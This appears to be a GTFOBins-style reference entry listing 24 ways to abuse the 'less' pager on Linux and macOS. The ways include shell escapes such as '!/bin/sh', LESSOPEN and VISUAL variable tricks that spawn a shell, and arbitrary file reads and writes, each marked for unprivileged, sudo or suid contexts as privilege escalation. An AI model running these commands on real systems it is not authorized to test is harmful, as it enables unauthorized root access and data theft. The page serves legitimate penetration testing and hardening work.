GTFO · Tool

less

24 techniques Linux · macOSGTFOBins GPL-3.0

command

Execution LinuxmacOS

cp /path/to/command ~/.lessfilter
less /etc/hosts

Context: unprivileged
Native: command
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/less/

command

ExecutionPrivilege Escalation LinuxmacOS

LESSOPEN='/path/to/command # %s' less /etc/hosts

Context: sudo
Native: command
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/less/

command

Execution LinuxmacOS

LESSOPEN='/path/to/command # %s' less /etc/hosts

Context: unprivileged
Native: command
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/less/

file-read

File ReadPrivilege Escalation LinuxmacOS

less /path/to/input-file

Context: sudo
Native: file-read
MITRE: T1005
Refs: gtfobins.github.io/gtfobins/less/

file-read

File ReadPrivilege Escalation LinuxmacOS

less /path/to/input-file

Context: suid
Native: file-read
MITRE: T1005
Refs: gtfobins.github.io/gtfobins/less/

file-read

File Read LinuxmacOS

less /path/to/input-file

Context: unprivileged
Native: file-read
MITRE: T1005
Refs: gtfobins.github.io/gtfobins/less/

file-read

File ReadPrivilege Escalation LinuxmacOS

This can be used to read another file, e.g., when invoked as a pager with some fixed content.

less /etc/hosts
:e /path/to/input-file

Context: sudo
Native: file-read
MITRE: T1005
Refs: gtfobins.github.io/gtfobins/less/

file-read

File ReadPrivilege Escalation LinuxmacOS

This can be used to read another file, e.g., when invoked as a pager with some fixed content.

less /etc/hosts
:e /path/to/input-file

Context: suid
Native: file-read
MITRE: T1005
Refs: gtfobins.github.io/gtfobins/less/

file-read

File Read LinuxmacOS

This can be used to read another file, e.g., when invoked as a pager with some fixed content.

less /etc/hosts
:e /path/to/input-file

Context: unprivileged
Native: file-read
MITRE: T1005
Refs: gtfobins.github.io/gtfobins/less/

file-read

File ReadPrivilege Escalation LinuxmacOS

This can be used to read another file.

LESSOPEN='echo /path/to/input-file # %s' less /etc/hosts

Context: sudo
Native: file-read
MITRE: T1005
Refs: gtfobins.github.io/gtfobins/less/

file-read

File Read LinuxmacOS

This can be used to read another file.

LESSOPEN='echo /path/to/input-file # %s' less /etc/hosts

Context: unprivileged
Native: file-read
MITRE: T1005
Refs: gtfobins.github.io/gtfobins/less/

file-write

File WritePrivilege Escalation LinuxmacOS

echo DATA | less
s/path/to/output-file
q

Context: sudo
Native: file-write
MITRE: T1565
Refs: gtfobins.github.io/gtfobins/less/

file-write

File WritePrivilege Escalation LinuxmacOS

echo DATA | less
s/path/to/output-file
q

Context: suid
Native: file-write
MITRE: T1565
Refs: gtfobins.github.io/gtfobins/less/

file-write

File Write LinuxmacOS

echo DATA | less
s/path/to/output-file
q

Context: unprivileged
Native: file-write
MITRE: T1565
Refs: gtfobins.github.io/gtfobins/less/

inherit ← vi

File ReadFile WriteExecutionPrivilege Escalation LinuxmacOS

less /etc/hosts
v

Context: sudo
Native: inherit, from:vi
MITRE: T1005 T1565 T1059
Refs: gtfobins.github.io/gtfobins/less/

inherit ← vi

File ReadFile WriteExecutionPrivilege Escalation LinuxmacOS

less /etc/hosts
v

Context: suid
Native: inherit, from:vi
MITRE: T1005 T1565 T1059
Refs: gtfobins.github.io/gtfobins/less/

inherit ← vi

File ReadFile WriteExecution LinuxmacOS

less /etc/hosts
v

Context: unprivileged
Native: inherit, from:vi
MITRE: T1005 T1565 T1059
Refs: gtfobins.github.io/gtfobins/less/

shell

ExecutionPrivilege Escalation LinuxmacOS

less /etc/hosts
!/bin/sh

Context: sudo
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/less/

shell

ExecutionPrivilege Escalation LinuxmacOS

less /etc/hosts
!/bin/sh

Context: suid
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/less/

shell

Execution LinuxmacOS

less /etc/hosts
!/bin/sh

Context: unprivileged
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/less/

shell

ExecutionPrivilege Escalation LinuxmacOS

The optional `reset` command is needed to receive the echo back of the typed keystrokes.

LESSOPEN="/bin/sh -s 1>&0 2>&0 # %s" less /etc/hosts
reset

Context: sudo
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/less/

shell

Execution LinuxmacOS

The optional `reset` command is needed to receive the echo back of the typed keystrokes.

LESSOPEN="/bin/sh -s 1>&0 2>&0 # %s" less /etc/hosts
reset

Context: unprivileged
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/less/

shell

ExecutionPrivilege Escalation LinuxmacOS

VISUAL='/bin/sh -s --' less /etc/hosts
v

Context: sudo
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/less/

shell

Execution LinuxmacOS

VISUAL='/bin/sh -s --' less /etc/hosts
v

Context: unprivileged
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/less/